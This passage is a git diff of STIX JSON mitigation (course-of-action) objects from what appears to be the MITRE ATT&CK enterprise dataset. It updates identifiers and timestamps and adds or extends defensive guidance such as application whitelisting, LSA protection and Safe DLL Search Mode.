+                    "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx"
+                },
+                {
+                    "source_name": "Microsoft Process Wide Com Keys",
+                    "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.",
+                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx"
+                },
+                {
+                    "source_name": "Microsoft System Wide Com Keys",
+                    "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.",
+                    "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx"
+                },
+                {
+                    "source_name": "Microsoft Disable DCOM",
+                    "description": "Microsoft. (n.d.). Enable or Disable DCOM. Retrieved November 22, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc771387.aspx"
+                },
+                {
+                    "source_name": "Microsoft Protected View",
+                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
+                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8.json b/enterprise-attack/course-of-action/course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8.json
index 67b7be0b6d..b7b7fc1c1d 100644
--- a/enterprise-attack/course-of-action/course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8.json
+++ b/enterprise-attack/course-of-action/course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--f502e266-88a8-414c-beb3-81f7aa8cc5f4",
+    "id": "bundle--ee009bb9-8c2c-4da2-8cfc-a301a3b7eedf",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Command and Control Channel Mitigation",
             "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502.json b/enterprise-attack/course-of-action/course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502.json
index 66f91da53e..2e16f7d590 100644
--- a/enterprise-attack/course-of-action/course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502.json
+++ b/enterprise-attack/course-of-action/course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--1a8d5254-fb82-4a70-98da-fb842df973f7",
+    "id": "bundle--42394b1c-5aed-4b73-a4af-df4ba8815d23",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exploitation of Vulnerability Mitigation",
             "description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, virtualization, and exploit prevention tools such as the Microsoft Enhanced Mitigation Experience Toolkit. (Citation: SRD EMET)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--9378f139-10ef-4e4b-b679-2255a0818902.json b/enterprise-attack/course-of-action/course-of-action--9378f139-10ef-4e4b-b679-2255a0818902.json
index 303a8e9bbc..748ff84811 100644
--- a/enterprise-attack/course-of-action/course-of-action--9378f139-10ef-4e4b-b679-2255a0818902.json
+++ b/enterprise-attack/course-of-action/course-of-action--9378f139-10ef-4e4b-b679-2255a0818902.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--f8733c1e-836c-4adf-b697-16d6ae53143d",
+    "id": "bundle--9c2ad3c9-2a9d-40d9-ae77-855c8ce38084",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--9378f139-10ef-4e4b-b679-2255a0818902",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Service Registry Permissions Weakness Mitigation",
-            "description": "Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
+            "description": "Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
diff --git a/enterprise-attack/course-of-action/course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5.json b/enterprise-attack/course-of-action/course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5.json
index aaa47ba6d7..bcf903ddc0 100644
--- a/enterprise-attack/course-of-action/course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5.json
+++ b/enterprise-attack/course-of-action/course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--cb74c6eb-4750-4fb3-8c03-5745c1a6e998",
+    "id": "bundle--84f4121b-5d42-4a28-ac8d-b22270e63792",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Authentication Package Mitigation",
             "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719.json b/enterprise-attack/course-of-action/course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719.json
index 82f36b27c1..fa8277a8bf 100644
--- a/enterprise-attack/course-of-action/course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719.json
+++ b/enterprise-attack/course-of-action/course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--c3aca4d0-0e1f-4da3-9e5c-83d3d93ed9b1",
+    "id": "bundle--345d5113-a5ca-4e08-a5a9-80c94e6658ea",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--94927849-03e3-4a07-8f4c-9ee21b626719",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Startup Items Mitigation",
             "description": "Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can\u2019t be leveraged for privilege escalation.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb.json b/enterprise-attack/course-of-action/course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb.json
index 71840f2220..d354217192 100644
--- a/enterprise-attack/course-of-action/course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb.json
+++ b/enterprise-attack/course-of-action/course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--6426d52a-a71a-4b54-8a05-3496b6e28f4c",
+    "id": "bundle--472960f6-5d3d-4483-a194-f92f1c9e59ec",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--94e95eeb-7cdb-4bd7-afba-f32fda303dbb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Share Connection Removal Mitigation",
             "description": "Follow best practices for mitigation of activity related to establishing Windows Admin Shares. \n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage network shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7.json b/enterprise-attack/course-of-action/course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7.json
new file mode 100644
index 0000000000..b51b5f60b2
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7.json
@@ -0,0 +1,23 @@
+{
+    "type": "bundle",
+    "id": "bundle--d9e1b741-0e40-480e-bc01-d24b19fd75d5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--94f6b4f5-b528-4f50-91d5-f66457c2f8f7",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Man in the Browser Mitigation",
+            "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and Bypass User Account Control opportunities can limit the exposure to this technique. \n\nClose all browser sessions regularly and when they are no longer needed.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1185",
+                    "external_id": "T1185"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6.json b/enterprise-attack/course-of-action/course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6.json
new file mode 100644
index 0000000000..10aa70695f
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6.json
@@ -0,0 +1,38 @@
+{
+    "type": "bundle",
+    "id": "bundle--3fb41a77-b6a1-41fa-97bf-1f1fe6669ccb",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "AppCert DLLs Mitigation",
+            "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1182",
+                    "external_id": "T1182"
+                },
+                {
+                    "source_name": "Beechey 2010",
+                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
+                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f.json b/enterprise-attack/course-of-action/course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f.json
index 10e1055a67..6bf0943e02 100644
--- a/enterprise-attack/course-of-action/course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f.json
+++ b/enterprise-attack/course-of-action/course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--f94e78dd-2a18-4d43-95ba-b3f76b69d57e",
+    "id": "bundle--57b5809e-5efe-43be-ae2b-1f5f97c8d25c",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--95ddb356-7ba0-4bd9-a889-247262b8946f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rootkit Mitigation",
             "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751.json b/enterprise-attack/course-of-action/course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751.json
index 58686cb77f..4644a48494 100644
--- a/enterprise-attack/course-of-action/course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751.json
+++ b/enterprise-attack/course-of-action/course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--2a48698e-5632-4e3a-bdbc-cd0ea9dc4664",
+    "id": "bundle--f4894951-d58c-4a7c-ab39-3aa4debd3497",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--96150c35-466f-4f0a-97a9-ae87ee27f751",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bootkit Mitigation",
             "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04.json b/enterprise-attack/course-of-action/course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04.json
index 3650a638ff..7ec10192f5 100644
--- a/enterprise-attack/course-of-action/course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04.json
+++ b/enterprise-attack/course-of-action/course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04.json
@@ -1,22 +1,27 @@
 {
     "type": "bundle",
-    "id": "bundle--8ad3c779-e602-4b1d-a7f9-2981153bede8",
+    "id": "bundle--93a0f76f-d6b3-4983-aff7-f0065e8af647",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--96913243-2b5e-4483-a65c-bb152ddd2f04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DLL Search Order Hijacking Mitigation",
-            "description": "Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
+            "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode.  The associated Windows Registry key for this is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1038",
                     "external_id": "T1038"
                 },
+                {
+                    "source_name": "Microsoft DLL Search",
+                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
+                    "url": "http://msdn.microsoft.com/en-US/library/ms682586"
+                },
                 {
                     "source_name": "Powersploit",
                     "description": "PowerSploit. (n.d.).  Retrieved December 4, 2014.",
@@ -36,6 +41,11 @@
                     "source_name": "NSA MS AppLocker",
                     "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                     "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                },
+                {
+                    "source_name": "Microsoft DLL Preloading",
+                    "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.",
+                    "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173.json b/enterprise-attack/course-of-action/course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173.json
index 2918622abb..ef6a74e08d 100644
--- a/enterprise-attack/course-of-action/course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173.json
+++ b/enterprise-attack/course-of-action/course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--07ef3105-c412-49f9-a61e-8fc63861d571",
+    "id": "bundle--b28a94e5-d6c1-4b26-ade1-99ede45fd687",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--979e6485-7a2f-42bd-ae96-4e622c3cd173",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote Services Mitigation",
             "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire Valid Accounts that can be used by existing services.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80.json b/enterprise-attack/course-of-action/course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80.json
index a7ef95ffc1..01334d8ac2 100644
--- a/enterprise-attack/course-of-action/course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80.json
+++ b/enterprise-attack/course-of-action/course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--e1da1941-c3db-427c-be9c-cd9ee2fc0aa3",
+    "id": "bundle--81da3eee-63cb-4dd3-8bd5-fb4a7d9fcfe0",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Create Account Mitigation",
             "description": "Use and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts that may be used to create privileged accounts within an environment.\n\nAdversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2.json b/enterprise-attack/course-of-action/course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2.json
index 945234ea86..a2140d572b 100644
--- a/enterprise-attack/course-of-action/course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2.json
+++ b/enterprise-attack/course-of-action/course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--c710bdca-5ef7-4071-a16a-0b898715d9cd",
+    "id": "bundle--2b8a291b-4dae-4044-b2df-792d3751e76b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--9a902722-cecd-4fbe-a6c9-49333aa0f8c2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote System Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2.json b/enterprise-attack/course-of-action/course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2.json
index 9237709e88..ee86259a81 100644
--- a/enterprise-attack/course-of-action/course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2.json
+++ b/enterprise-attack/course-of-action/course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--697715db-c980-4455-94ac-b27b70e061d6",
+    "id": "bundle--fe3c3c5c-4ecc-4446-83ba-8717af8e876e",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--9ab7de33-99b2-4d8d-8cf3-182fa0015cc2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Logon Scripts Mitigation",
             "description": "Restrict write access to logon scripts to specific administrators. Prevent access to administrator accounts by mitigating Credential Access techniques and limiting account access and permissions of Valid Accounts.\n\nIdentify and block potentially malicious software that may be executed through logon script modification by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3.json b/enterprise-attack/course-of-action/course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3.json
new file mode 100644
index 0000000000..28e52aa0de
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--c46d6533-f576-4d67-a43d-df0603a1b178",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Screensaver Mitigation",
+            "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1180",
+                    "external_id": "T1180"
+                },
+                {
+                    "source_name": "TechNet Screensaver GP",
+                    "description": "Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc938799.aspx"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac.json b/enterprise-attack/course-of-action/course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac.json
index e286fb6783..505bc7ecc3 100644
--- a/enterprise-attack/course-of-action/course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac.json
+++ b/enterprise-attack/course-of-action/course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--7187c3f7-ec5a-4000-998c-3a999dcda9cc",
+    "id": "bundle--7862d749-3994-4a7f-abd9-4018a1f4a616",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--9e57c770-5a39-49a2-bb91-253ba629e3ac",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Security Support Provider Mitigation",
             "description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL</code>, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe.json b/enterprise-attack/course-of-action/course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe.json
index cd32035a2d..b7816d60e4 100644
